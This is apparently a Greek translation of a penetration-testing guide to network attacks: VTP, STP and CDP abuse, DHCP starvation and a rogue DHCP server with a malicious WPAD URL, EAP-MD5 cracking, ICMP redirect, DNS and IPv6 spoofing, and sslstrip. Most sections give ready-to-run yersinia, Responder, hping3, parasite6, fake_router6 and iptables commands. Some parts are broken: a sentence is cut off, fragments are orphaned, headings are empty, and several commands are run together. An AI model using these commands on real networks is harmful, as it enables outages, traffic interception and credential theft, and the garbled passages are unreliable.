Το VTP (VLAN Trunking Protocol) κεντρικεύει τη διαχείριση των VLAN. Χρησιμοποιεί αριθμούς αναθεώρησης για να διατηρεί την ακεραιότητα της βάσης δεδομένων VLAN· οποιαδήποτε τροποποίηση αυξάνει αυτόν τον αριθμό. Οι διακόπτες υιοθετούν τις ρυθμίσεις με υψηλότερους αριθμούς αναθεώρησης, ενημερώνοντας τις δικές τους βάσεις δεδομένων VLAN.

Ρόλοι Τομέα VTP

  • Διακομιστής VTP: Διαχειρίζεται τις VLAN - δημιουργεί, διαγράφει, τροποποιεί. Εκπέμπει ανακοινώσεις VTP στα μέλη του τομέα.
  • Πελάτης VTP: Λαμβάνει ανακοινώσεις VTP για να συγχρονίσει τη βάση δεδομένων VLAN του. Αυτός ο ρόλος περιορίζεται από τις τοπικές τροποποιήσεις της διαμόρφωσης VLAN.
  • Διαφανής VTP: Δεν συμμετέχει σε ενημερώσεις VTP αλλά προωθεί ανακοινώσεις VTP. Δεν επηρεάζεται από επιθέσεις VTP, διατηρεί σταθερό αριθμό αναθεώρησης μηδέν.

Τύποι Διαφήμισης VTP

  • Σύνοψη Διαφήμισης: Εκπέμπεται από τον διακομιστή VTP κάθε 300 δευτερόλεπτα, μεταφέροντας τις βασικές πληροφορίες του τομέα.
  • Διαφήμιση Υποσυνόλου: Αποστέλλεται μετά από αλλαγές στις ρυθμίσεις των VLAN.
  • Αίτηση Διαφήμισης: Εκδίδεται από έναν πελάτη VTP για να ζητήσει μια Σύνοψη Διαφήμισης, συνήθως ως απάντηση στον εντοπισμό ενός υψηλότερου αριθμού αναθεώρησης της διαμόρφωσης.

Οι ευπάθειες του VTP εκμεταλλεύονται αποκλειστικά μέσω θυρών trunk καθώς οι ανακοινώσεις VTP κυκλοφορούν αποκλειστικά μέσω αυτών. Σε περιπτώσεις επιθέσεων μετά την επίθεση DTP, μπορεί να γίνει επίθεση στο VTP. Εργαλεία όπως το Yersinia μπορούν να διευκολύνουν τις επιθέσεις VTP, με στόχο την εξάλειψη της βάσης δεδομένων VLAN, διαταράσσοντας αποτελεσματικά το δίκτυο.

Σημείωση: Αυτή η συζήτηση αφορά την έκδοση 1 του VTP (VTPv1).

%% yersinia -G # Launch Yersinia in graphical mode ```

Στη γραφική λειτουργία του Yersinia, επιλέξτε την επιλογή διαγραφής όλων των VTP VLANs για να εκκαθαρίσετε τη βάση δεδομένων VLAN.

Επιθέσεις STP

Εάν δεν μπορείτε να καταγράψετε πλαίσια BPDU στις διεπαφές σας, είναι απίθανο να επιτύχετε μια επίθεση STP.

STP BPDU DoS

Αποστέλλοντας πολλά πλαίσια BPDUs TCP (Topology Change Notification) ή Conf (τα BPDUs που αποστέλλονται όταν δημιουργείται η τοπολογία), τα switch υπερφορτώνονται και σταματούν να λειτουργούν σωστά.

yersinia stp -attack 2
yersinia stp -attack 3
#Use -M to disable MAC spoofing

Επίθεση STP TCP

Όταν στέλνεται ένα TCP, ο πίνακας CAM των switch θα διαγραφεί σε 15 δευτερόλεπτα. Στη συνέχεια, εάν στέλνετε συνεχώς αυτού του είδους πακέτα, ο πίνακας CAM θα επανεκκινείται συνεχώς (κάθε 15 δευτερόλεπτα) και όταν επανεκκινείται, το switch συμπεριφέρεται ως hub.

yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen

Επίθεση STP Root

Ο επιτιθέμενος προσομοιώνει τη συμπεριφορά ενός switch για να γίνει ο STP root του δικτύου. Έτσι, περνά περισσότερα δεδομένα μέσω του. Αυτό είναι ενδιαφέρον όταν είστε συνδεδεμένοι σε δύο διαφορετικούς switch.
Αυτό επιτυγχάνεται αποστέλλοντας πακέτα BPDUs CONF που δηλώνουν ότι η τιμή του προτεραιότητας (priority) είναι μικρότερη από την πραγματική προτεραιότητα του πραγματικού root switch.

yersinia stp -attack 4 #Behaves like the root switch
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root

Εάν ο επιτιθέμενος είναι συνδεδεμένος σε 2 διακόπτες, μπορεί να γίνει ο ρίζανος του νέου δέντρου και όλη η κίνηση μεταξύ αυτών των διακοπτών θα περάσει από αυτόν (θα πραγματοποιηθεί μια επίθεση MITM).

yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing"
ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages

Επιθέσεις CDP

Το Cisco Discovery Protocol (CDP) είναι απαραίτητο για την επικοινωνία μεταξύ συσκευών CISCO, επιτρέποντάς τους να αναγνωρίζουν ο ένας τον άλλο και να μοιράζονται λεπτομέρειες ρύθμισης.

Παθητική Συλλογή Δεδομένων

Το CDP έχει ρυθμιστεί να μεταδίδει πληροφορίες μέσω όλων των θυρών, πράγμα που μπορεί να αποτελέσει κίνδυνο για την ασφάλεια. Ένας επιτιθέμενος, συνδέοντας σε μια θύρα του switch, μπορεί να χρησιμοποιήσει εργαλεία καταγραφής δικτύου όπως το Wireshark, το tcpdump ή το Yersinia. Με αυτήν την ενέργεια, μπορεί να αποκαλύψει ευαίσθητα δεδομένα για τη συσκευή δικτύου, συμπεριλαμβανομένου του μοντέλου της και της έκδοσης του Cisco IOS που χρησιμοποιεί. Έπειτα, ο επιτιθέμενος μπορεί να επιτεθεί σε συγκεκριμένες ευπάθειες της εντοπισμένης έκδοσης του Cisco IOS.

Προκάλεση Πλημμύρας Πίνακα CDP

Μια πιο επιθετική προσέγγιση περιλαμβάνει την εκτέλεση μιας επίθεσης Απορρίψεως Υπηρεσίας (DoS) με το να κατακλύζεται η μνήμη του switch, προσποιούμενοι νόμιμες συσκευές CISCO. Παρακάτω παρουσιάζεται η ακολουθία εντολών για την εκκίνηση μιας τέτοιας επίθεσης χρησιμοποιώντας το Yersinia, ένα εργαλείο δικτύου σχεδιασμένο για δοκιμές:

sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices
# Alternatively, for a GUI approach:
sudo yersinia -G

Κατά τη διάρκεια αυτής της επίθεσης, ο επεξεργαστής του switch και ο πίνακας γειτονικών CDP φορτώνονται σημαντικά, οδηγώντας σε αυτό που συχνά αναφέρεται ως "διακοπή του δικτύου" λόγω της υπερβολικής κατανάλωσης πόρων.

Επίθεση Παραπλάνησης CDP

sudo yersinia cdp -attack 2 #Simulate a new CISCO device
sudo yersinia cdp -attack 0 #Send a CDP packet

Μπορείτε επίσης να χρησιμοποιήσετε το scapy. Βεβαιωθείτε ότι το εγκαθιστάτε με το πακέτο scapy/contrib.

Επιθέσεις VoIP και το εργαλείο VoIP Hopper

Τα τηλέφωνα VoIP, που ολοένα και περισσότερο ενσωματώνονται με συσκευές IoT, προσφέρουν λειτουργίες όπως ξεκλείδωμα πορτών ή έλεγχος θερμοστάτη μέσω ειδικών αριθμών τηλεφώνου. Ωστόσο, αυτή η ενσωμάτωση μπορεί να δημιουργήσει κινδύνους ασφαλείας.

Το εργαλείο voiphopper έχει σχεδιαστεί για να προσομοιώνει ένα τηλέφωνο VoIP σε διάφορα περιβάλλοντα (Cisco, Avaya, Nortel, Alcatel-Lucent). Ανακαλύπτει το VLAN ID του φωνητικού δικτύου χρησιμοποιώντας πρωτόκολλα όπως το CDP, DHCP, LLDP-MED και 802.1Q ARP.

Το VoIP Hopper προσφέρει τρεις λειτουργίες για το Cisco Discovery Protocol (CDP):

  1. Λειτουργία Καταγραφής (-c 0): Αναλύει πακέτα δικτύου για την αναγνώριση του VLAN ID.
  2. Λειτουργία Πλαστογράφησης (-c 1): Δημιουργεί προσαρμοσμένα πακέτα που μιμούνται αυτά ενός πραγματικού τηλεφώνου VoIP.
  3. Λειτουργία Πλαστογράφησης με Προκατασκευασμένα Πακέτα (-c 2): Αποστέλλει πακέτα που είναι πανομοιότυπα με αυτά ενός συγκεκριμένου μοντέλου τηλεφώνου Cisco IP.

Η προτιμώμενη λειτουργία για την ταχύτητα είναι η τρίτη. Απαιτεί την καθορισμό:

  • Της διεπαφής δικτύου του επιτιθέμενου (-i παράμετρος).
  • Του ονόματος της προσομοιούμενης συσκευής VoIP (-E παράμετρος), με τηρούμενη τη μορφή ονομασίας της Cisco (π.χ. SEP ακολουθούμενο από διεύθυνση MAC).

Σε εταιρικές ρυθμίσεις, για να προσομοιώσετε μια υπάρχουσα συσκευή VoIP, μπορείτε:

  • Να ελέγξετε την ετικέτα MAC στο τηλέφωνο.
  • Να περιηγηθείτε στις ρυθμίσεις εμφάνισης του τηλεφώνου για να δείτε πληροφορίες μοντέλου.
  • Να συνδέσετε τη συσκευή VoIP σε ένα φορητό υπολογιστή και να παρατηρήσετε τα αιτήματα CDP χρησιμοποιώντας το Wireshark.

Ένα παράδειγμα εντολής για την εκτέλεση του εργαλείου στην τρίτη λειτουργία θα ήταν:

voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2

Επίθεση DHCP

Απαρίθμηση

nmap --script broadcast-dhcp-discover
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT
WARNING: No targets were specified, so 0 hosts scanned.
Pre-scan script results:
| broadcast-dhcp-discover:
|   Response 1 of 1:
|     IP Offered: 192.168.1.250
|     DHCP Message Type: DHCPOFFER
|     Server Identifier: 192.168.1.1
|     IP Address Lease Time: 1m00s
|     Subnet Mask: 255.255.255.0
|     Router: 192.168.1.1
|     Domain Name Server: 192.168.1.1
|_    Domain Name: mynet
Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds

DoS

Δύο τύποι DoS μπορούν να πραγματοποιηθούν εναντίον των διακομιστών DHCP. Ο πρώτος αποτελείται από το προσομοίωση αρκετών ψεύτικων κόμβων για να χρησιμοποιηθούν όλες οι δυνατές διευθύνσεις IP.
Αυτή η επίθεση θα λειτουργήσει μόνο αν μπορείτε να δείτε τις απαντήσεις του διακομιστή DHCP και να ολοκληρώσετε το πρωτόκολλο (Discover (Υπολογιστής) --> Offer (διακομιστής) --> Request (Υπολογιστής) --> ACK (διακομιστής)). Για παράδειγμα, αυτό δεν είναι δυνατό σε ασύρματα δίκτυα.

Ένας άλλος τρόπος για να πραγματοποιηθεί ένας DoS επίθεσης DHCP είναι να στείλετε ένα πακέτο DHCP-RELEASE χρησιμοποιώντας ως πηγαίο κώδικα κάθε δυνατή IP. Στη συνέχεια, ο διακομιστής θα πιστέψει ότι όλοι έχουν τελειώσει με τη χρήση της IP.

yersinia dhcp -attack 1
yersinia dhcp -attack 3 #More parameters are needed

Ένας πιο αυτόματος τρόπος για να το κάνετε αυτό είναι να χρησιμοποιήσετε το εργαλείο DHCPing

Μπορείτε να χρησιμοποιήσετε τις προαναφερθείσες επιθέσεις DoS για να αναγκάσετε τους πελάτες να λάβουν νέες ενοικιάσεις εντός του περιβάλλοντος και να εξαντλήσετε τους νόμιμους διακομιστές, ώστε να γίνουν ανεπίκρατοι. Έτσι, όταν οι νόμιμοι προσπαθούν να συνδεθούν ξανά, μπορείτε να εξυπηρετήσετε κακόβουλες τιμές που αναφέρονται στην επόμενη επίθεση.

Ορισμός κακόβουλων τιμών

Ένας πλανόδιος διακομιστής DHCP μπορεί να δημιουργηθεί χρησιμοποιώντας το σενάριο DHCP που βρίσκεται στην τοποθεσία /usr/share/responder/DHCP.py. Αυτό είναι χρήσιμο για επιθέσεις στο δίκτυο, όπως η καταγραφή κίνησης και διαπιστευτήρια HTTP, ανακατευθύνοντας την κίνηση σε έναν κακόβουλο διακομιστή. Ωστόσο, η δημιουργία ενός πλανόδιου πύλης είναι λιγότερο αποτελεσματική, καθώς επιτρέπει μόνο την καταγραφή εξερχόμενης κίνησης από τον πελάτη, χωρίς να λαμβάνει τις απαντήσεις από την πραγματική πύλη. Αντ' αυτού, συνιστάται η δημιουργία ενός πλανόδιου διακομιστή DNS ή WPAD για μια πιο αποτελεσματική επίθεση.

Παρακάτω παρουσιάζονται οι επιλογές εντολών για τη διαμόρφωση του πλανόδιου διακομιστή DHCP:

  • Διεύθυνση IP μας (Διαφήμιση Πύλης): Χρησιμοποιήστε -i 10.0.0.100 για να διαφημίσετε τη διεύθυνση IP του υπολογιστή σας ως την πύλη.
  • Τοπικό όνομα τομέα DNS: Προαιρετικά, χρησιμοποιήστε -d example.org για να ορίσετε ένα τοπικό όνομα τομέα DNS.
  • Πρωτότυπος Δρομολογητής/Πύλη IP: Χρησιμοποιήστε -r 10.0.0.1 για να καθορίσετε τη διεύθυνση IP του νόμιμου δρομολογητή ή πύλης.
  • Πρωτεύον IP Διακομιστής DNS: Χρησιμοποιήστε -p 10.0.0.100 για να ορίσετε τη διεύθυνση IP του κακόβουλου διακομιστή DNS που ελέγχετε.
  • Δευτερεύον IP Διακομιστής DNS: Προαιρετικά, χρησιμοποιήστε -s 10.0.0.1 για να ορίσετε μια δευτερεύουσα διεύθυνση IP διακομιστή DNS.
  • Μάσκα δικτύου τοπικού δικτύου: Χρησιμοποιήστε -n 255.255.255.0 για να ορίσετε τη μάσκα δικτύου για το τοπικό δίκτυο.
  • Διεπαφή για την κίνηση DHCP: Χρησιμοποιήστε -I eth1 για να ακούσετε την κίνηση DHCP σε μια συγκεκριμένη διεπαφή δικτύου.
  • Διεύθυνση διαμόρφωσης WPAD: Χρησιμοποιήστε -w “http://10.0.0.100/wpad.dat” για να ορίσετε τη διεύθυνση για τη διαμόρφωση WPAD, βοηθώντας στην παρεμπόδιση της κίνησης του web.
  • Πλαστογραφία IP Προεπιλεγμένης Πύλης: Συμπεριλάβετε το -S για να πλαστογραφήσετε τη διεύθυνση IP της προεπιλεγμένης πύλης.
  • Απάντηση σε όλα τα αιτήματα DHCP: Συμπεριλάβετε το -R για να κάνετε τον διακομιστή να απαντάει σε όλα τα αιτήματα DHCP, αλλά να γνωρίζετε ότι αυτό είναι θορυβώδες και μπορεί να ανιχνευθεί.

Χρησιμοποιώντας σωστά αυτές τις επιλογές, μπορεί να δημιουργηθεί ένας πλανόδιος διακομιστής DHCP για την αποτελεσματική παρεμπόδιση της κίνησης του δικτύου.

# Example to start a rogue DHCP server with specified options
!python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R

Επιθέσεις EAP

Παρακάτω παρουσιάζονται μερικές τακτικές επίθεσης που μπορούν να χρησιμοποιηθούν κατά των υλοποιήσεων 802.1X:

  • Ενεργή επίθεση με brute-force για ανάκτηση κωδικού μέσω EAP
  • Επίθεση στον διακομιστή RADIUS με ακανόνιστο περιεχόμενο EAP (εκμεταλλεύσεις)
  • Καταγραφή μηνυμάτων EAP και αποκωδικοποίηση κωδικού εκτός σύνδεσης (EAP-MD5 και PEAP)
  • Εξαναγκασμός πιστοποίησης EAP-MD5 για παράκαμψη επαλήθευσης πιστοποιητικού TLS
  • Εισαγωγή κακόβουλης δικτυακής κίνησης κατά την πιστοποίηση χρησιμοποιώντας hub ή παρόμοιο εξοπλισμό

Εάν ο επιτιθέμενος βρίσκεται ανάμεσα στο θύμα και τον διακομιστή πιστοποίησης, μπορεί να προσπαθήσει να υποβαθμίσει (εάν είναι απαραίτητο) το πρωτόκολλο πιστοποίησης σε EAP-MD5 και να καταγράψει την προσπάθεια πιστοποίησης. Στη συνέχεια, μπορεί να εκτελέσει brute-force επί αυτού χρησιμοποιώντας:

eapmd5pass r pcap.dump w /usr/share/wordlist/sqlmap.txt

Επιθέσεις FHRP (GLBP & HSRP)

Το FHRP (First Hop Redundancy Protocol) είναι μια κατηγορία πρωτοκόλλων δικτύου που σχεδιάστηκαν για να δημιουργήσουν ένα καυτό αντιγραφικό σύστημα δρομολόγησης. Με το FHRP, φυσικοί δρομολογητές μπορούν να συνδυαστούν σε ένα μόνο λογικό συσκευή, πράγμα που αυξάνει την ανοχή σφάλματος και βοηθά στην κατανομή του φορτίου.

Οι μηχανικοί της Cisco Systems έχουν αναπτύξει δύο πρωτόκολλα FHRP, το GLBP και το HSRP.

{% content-ref url="glbp-and-hsrp-attacks.md" %} glbp-and-hsrp-attacks.md {% endcontent-ref %}

RIP

Γνωρίζονται τρεις εκδόσεις του πρωτοκόλλου δρομολόγησης RIP (Routing Information Protocol): RIP, RIPv2 και RIPng. Τα δεδομένα αποστέλλονται σε ομότιμους μέσω της θύρας 520 χρησιμοποιώντας το πρωτόκολλο UDP από το RIP και το RIPv2, ενώ τα δεδομένα εκπέμπονται στη θύρα 521 μέσω IPv6 multicast από το RIPng. Ο RIPv2 υποστηρίζει επίσης αυθεντικοποίηση MD5. Αντίθετα, ο RIPng δεν περιλαμβάνει αυθεντικοποίηση, εξαρτάται από τους προαιρετικούς κεφαλίδες IPsec AH και ESP εντός του IPv6.

  • RIP και RIPv2: Η επικοινωνία γίνεται μέσω δεδομένων UDP στη θύρα 520.
  • RIPng: Χρησιμοποιεί τη θύρα UDP 521 για τη μετάδοση δεδομένων μέσω IPv6 multicast.

Σημειώστε ότι ο RIPv2 υποστηρίζει αυθεντικοποίηση MD5, ενώ ο RIPng δεν περιλαμβάνει αυθεντικοποίηση, εξαρτάται από τις κεφαλίδες IPsec AH και ESP στο IPv6.

Επιθέσεις EIGRP

Το EIGRP (Enhanced Interior Gateway Routing Protocol) είναι ένα πρωτόκολλο δυναμικής δρομολόγησης. Είναι ένα πρωτόκολλο απόστασης-διανύσματος. Αν δεν υπάρχει αυθεντικοποίηση και ρύθμιση παθητικών διεπαφών, ένας εισβολέας μπορεί να παρεμβάλει στη δρομολόγηση του EIGRP και να προκαλέσει δηλητηρίαση των πινάκων δρομολόγησης. Επιπλέον, το δίκτυο EIGRP (με άλλα λόγια, αυτόνομο σύστημα) είναι επίπεδο και δεν έχει καμία διαμέριση σε ζώνες. Αν ένας επιτιθέμενος εισάγει μια διαδρομή, είναι πιθανό αυτή η διαδρομή να διαδοθεί σε όλο το αυτόνομο σύστημα EIGRP.

Για να επιτεθεί κάποιος σε ένα σύστημα EIGRP απαιτείται η δημιουργία γειτονιάς με έναν νόμιμο δρομολογητή EIGRP, πράγμα που ανοίγει πολλές δυνατότητες, από βασική αναγνώριση έως διάφορες εισαγωγές.

Το FRRouting σας επιτρέπει να υλοποιήσετε ένα εικονικό δρομολογητή που υποστηρίζει τα πρωτόκολλα BGP, OSPF, EIGRP, RIP και άλλα. Το μόνο που χρειάζεται να κάνετε είναι να το εγκαταστήσετε στο σύστημα του επιτιθέμενου και μπορείτε πραγματικά να προσποιηθείτε ως ένας νόμιμος δρομολογητής στον τομέα δρομολόγησης.

{% content-ref url="eigrp-attacks.md" %} eigrp-attacks.md {% endcontent-ref %}

Το Coly διαθέτει δυνατότητες για την παρεμπόδιση των εκπομπών EIGRP (Enhanced Interior Gateway Routing Protocol). Επιτρέπει επίσης την εισαγωγή πακέτων, τα οποία μπορούν να χρησιμοποιηθούν για την αλλαγή των ρυθμίσεων δρομολόγησης.

OSPF

Στο πρωτόκολλο Open Shortest Path First (OSPF) συνήθως χρησιμοποιείται αυθεντικοποίηση MD5 για να εξασφαλιστεί η ασφαλής επικοινωνία μεταξύ των δρομολογητών. Ωστόσο, αυτό μπορεί να παραβιαστεί χρησιμοποιώντας εργαλεία όπως το Loki και το John the Ripper. Αυτά τα εργαλεία είναι ικανά να καταγράψουν και να αποκρυπτογραφήσουν τις κατακερματισμένες τιμές MD5, αποκαλύπτοντας το κλειδί αυθεντικοποίησης. Μόλις αποκτηθεί αυτό το κλειδί, μπορεί να χρησιμοποιηθεί για την εισαγωγή νέων πληροφοριών δρομολόγησης. Για τη ρύθμιση των παραμέτρων διαδρομής και την καθιέρωση του παραβιασμένου κλειδιού, χρησιμοποιούνται αντίστοιχα οι καρτέλες Injection και Connection.

  • Καταγραφή και Αποκρυπτογράφηση των Κατακερματισμένων Τιμών MD5: Χρησιμοποιούνται εργαλεία όπως το Loki και το John the Ripper για αυτόν τον σκοπό.
  • Ρύθμιση Παραμέτρων Διαδρομής: Αυτό γίνεται μέσω της καρτέλας Injection.
  • Ορισμός του Παραβιασμένου Κλειδιού: Το κλειδί ρυθμίζεται στην καρτέλα Connection.

Άλλα Γενικά Εργαλεία & Πηγές

  • Above: Εργαλείο για σάρωση της κίνησης του δικτύου και εντοπισμό ευπάθει
Ettercap
yersinia dhcp -attack 2 #More parameters are needed

ARP Spoofing

Ελέγξτε την προηγούμενη ενότητα.

ICMPRedirect

Το ICMP Redirect αποτελείται από την αποστολή ενός πακέτου ICMP τύπου 1 κωδικού 5 που υποδεικνύει ότι ο επιτιθέμενος είναι ο καλύτερος τρόπος για να φτάσει σε ένα IP. Έπειτα, όταν θέλει ο θύμα να επικοινωνήσει με το IP, θα στείλει το πακέτο μέσω του επιτιθέμενου.

Ettercap
icmp_redirect
hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5]

DNS Spoofing

Ο επιτιθέμενος θα ανακατευθύνει την ανάλυση ονομάτων τομέων (DNS) για ορισμένους (ή όλους) τους τομείς που ζητά ο θύμα.

set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on

Διαμορφώστε τον δικό σας DNS με το dnsmasq

Ο dnsmasq είναι ένα εργαλείο που μπορεί να χρησιμοποιηθεί για να διαμορφώσετε τον δικό σας DNS server στο σύστημά σας. Αυτό σας επιτρέπει να ελέγχετε την αντιστοίχιση ονομάτων υπολογιστών με διευθύνσεις IP και να προσθέτετε προσαρμοσμένες κανόνες για την ανακατεύθυνση της κίνησης του δικτύου.

Για να διαμορφώσετε τον δικό σας DNS server με το dnsmasq, ακολουθήστε τα παρακάτω βήματα:

  1. Εγκαταστήστε το πακέτο dnsmasq στο σύστημά σας.
  2. Ανοίξτε το αρχείο διαμόρφωσης του dnsmasq (συνήθως βρίσκεται στο /etc/dnsmasq.conf) και επεξεργαστείτε τις απαραίτητες ρυθμίσεις.
  3. Ορίστε τον DNS server που θέλετε να χρησιμοποιείτε για τις εξωτερικές αναζητήσεις DNS.
  4. Προσθέστε τις αντιστοιχίες ονομάτων υπολογιστών και διευθύνσεων IP που θέλετε να ελέγχετε.
  5. Αποθηκεύστε και κλείστε το αρχείο διαμόρφωσης.
  6. Επανεκκινήστε την υπηρεσία dnsmasq για να εφαρμοστούν οι αλλαγές.

Αφού ολοκληρώσετε αυτά τα βήματα, ο δικός σας DNS server με το dnsmasq θα είναι εγκατεστημένος και διαμορφωμένος στο σύστημά σας. Μπορείτε τώρα να χρησιμοποιήσετε αυτόν τον DNS server για τις αναζητήσεις DNS στο δίκτυό σας.

apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1   domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon
dig @localhost domain.example.com # Test the configured DNS

Τοπικές Πύλες

Συνήθως υπάρχουν πολλοί δρομολογητές προς συστήματα και δίκτυα. Αφού δημιουργήσετε μια λίστα με τις διευθύνσεις MAC εντός του τοπικού δικτύου, χρησιμοποιήστε το gateway-finder.py για να εντοπίσετε τους υπολογιστές που υποστηρίζουν την προώθηση IPv4.

root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git
root@kali:~# cd gateway-finder/
root@kali:~# arp-scan -l | tee hosts.txt
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.6 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
10.0.0.100     00:13:72:09:ad:76       Dell Inc.
10.0.0.200     00:90:27:43:c0:57       INTEL CORPORATION
10.0.0.254     00:08:74:c0:40:ce       Dell Computer Corp.

root@kali:~/gateway-finder# ./gateway-finder.py -f hosts.txt -i 209.85.227.99
gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
[+] Using interface eth0 (-I to change)
[+] Found 3 MAC addresses in hosts.txt
[+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
[+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]

Πλαστογραφία LLMNR, NBT-NS και mDNS

Για την τοπική ανάλυση των ονομάτων των υπολογιστών όταν οι αναζητήσεις DNS αποτυγχάνουν, τα συστήματα της Microsoft βασίζονται στο Link-Local Multicast Name Resolution (LLMNR) και τη NetBIOS Name Service (NBT-NS). Αντίστοιχα, η Apple Bonjour και οι υλοποιήσεις zero-configuration του Linux χρησιμοποιούν το Multicast DNS (mDNS) για την ανακάλυψη συστημάτων εντός ενός δικτύου. Λόγω της μη επαληθευμένης φύσης αυτών των πρωτοκόλλων και της λειτουργίας τους μέσω UDP, μεταδίδοντας μηνύματα μεταξύ των συστημάτων, μπορούν να εκμεταλλευτούνται από επιτιθέμενους που στοχεύουν να ανακατευθύνουν τους χρήστες σε κακόβουλες υπηρεσίες.

Μπορείτε να πλαστογραφήσετε υπηρεσίες που αναζητούν οι κόμβοι χρησιμοποιώντας το Responder για να στείλετε πλαστές απαντήσεις.
Διαβάστε εδώ περισσότερες πληροφορίες σχετικά με πώς να πλαστογραφήσετε υπηρεσίες με το Responder.

Πλαστογραφία WPAD

Οι περιηγητές χρησιμοποιούν συνήθως το πρωτόκολλο Web Proxy Auto-Discovery (WPAD) για να αποκτήσουν αυτόματα τις ρυθμίσεις του διακομιστή μεσολάβησης. Αυτό περιλαμβάνει τη λήψη λεπτομερειών ρυθμίσεων από ένα διακομιστή, ειδικότερα μέσω ενός URL όπως "http://wpad.example.org/wpad.dat". Η ανακάλυψη αυτού του διακομιστή από τους πελάτες μπορεί να γίνει μέσω διάφορων μηχανισμών:

  • Μέσω DHCP, όπου η ανακάλυψη διευκολύνεται με τη χρήση μιας ειδικής καταχώρησης κωδικού 252.
  • Μέσω DNS, που περιλαμβάνει την αναζήτηση ενός ονόματος κεκλεισμένου wpad εντός του τοπικού τομέα.
  • Μέσω Microsoft LLMNR και NBT-NS, που είναι μηχανισμοί αντικατάστασης που χρησιμοποιούνται σε περιπτώσεις όπου οι αναζητήσεις DNS αποτυγχάνουν.

Το εργαλείο Responder εκμεταλλεύεται αυτό το πρωτόκολλο λειτουργώντας ως ένας κακόβουλος διακομιστής WPAD. Χρησιμοποιεί το DHCP, το DNS, το LLMNR και το NBT-NS για να παραπλανήσει τους πελάτες να συνδεθούν με αυτόν. Για να εμβαθύνετε στο πώς μπορούν να πλαστογραφηθούν υπηρεσίες χρησιμοποιώντας το Responder ελέγξτε αυτό.

Πλαστογραφία SSDP και συσκευών UPnP

Μπορείτε να προσφέρετε διάφορες υπηρεσίες στο δίκτυο για να εξαπατήσετε έναν χρήστη να εισάγει ορισμένα κείμενα καταχωρημένων διαπιστευτηρίων. Περισσότερες πληροφορίες σχετικά με αυτήν την επίθεση στο Πλαστογραφία SSDP και συσκευών UPnP.

Πλαστογραφία γείτονα IPv6

Αυτή η επίθεση είναι πολύ παρόμοια με την επίθεση ARP Spoofing αλλά στον κόσμο του IPv6. Μπορείτε να κάνετε το θύμα να πιστέψει ότι η IPv6 της πύλης έχει τη MAC του επιτιθέμενου.

sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds

Παραπλάνηση/Πλημμύρα IPv6 Router Advertisement

Ορισμένα λειτουργικά συστήματα παραμετροποιούν από προεπιλογή την πύλη από τα πακέτα RA που αποστέλλονται στο δίκτυο. Για να δηλώσετε τον επιτιθέμενο ως IPv6 router, μπορείτε να χρησιμοποιήσετε:

sysctl -w net.ipv6.conf.all.forwarding=1 4
ip route add default via <ROUTER_IPv6> dev wlan0
fake_router6 wlan0 fe80::01/16

Παραπλάνηση DHCP IPv6

Από προεπιλογή, ορισμένα λειτουργικά συστήματα προσπαθούν να διαμορφώσουν το DNS διαβάζοντας ένα πακέτο DHCPv6 στο δίκτυο. Έτσι, ένας επιτιθέμενος μπορεί να στείλει ένα πακέτο DHCPv6 για να διαμορφώσει τον εαυτό του ως DNS. Το DHCP παρέχει επίσης ένα IPv6 στο θύμα.

dhcp6.spoof on
dhcp6.spoof.domains <list of domains>

mitm6

HTTP (πλαστή σελίδα και εισαγωγή κώδικα JS)

Επιθέσεις στο Διαδίκτυο

sslStrip

Βασικά, αυτή η επίθεση κάνει το εξής: σε περίπτωση που ο χρήστης προσπαθήσει να αποκτήσει πρόσβαση σε μια HTTP σελίδα που ανακατευθύνεται στην έκδοση HTTPS, το sslStrip θα διατηρήσει μια σύνδεση HTTP με τον πελάτη και μια σύνδεση HTTPS με τον διακομιστή, έτσι ώστε να μπορεί να καταγράψει τη σύνδεση σε καθαρό κείμενο.

apt-get install sslstrip
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
#iptables --flush
#iptables --flush -t nat
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT

Περισσότερες πληροφορίες εδώ.

sslStrip+ και dns2proxy για παράκαμψη του HSTS

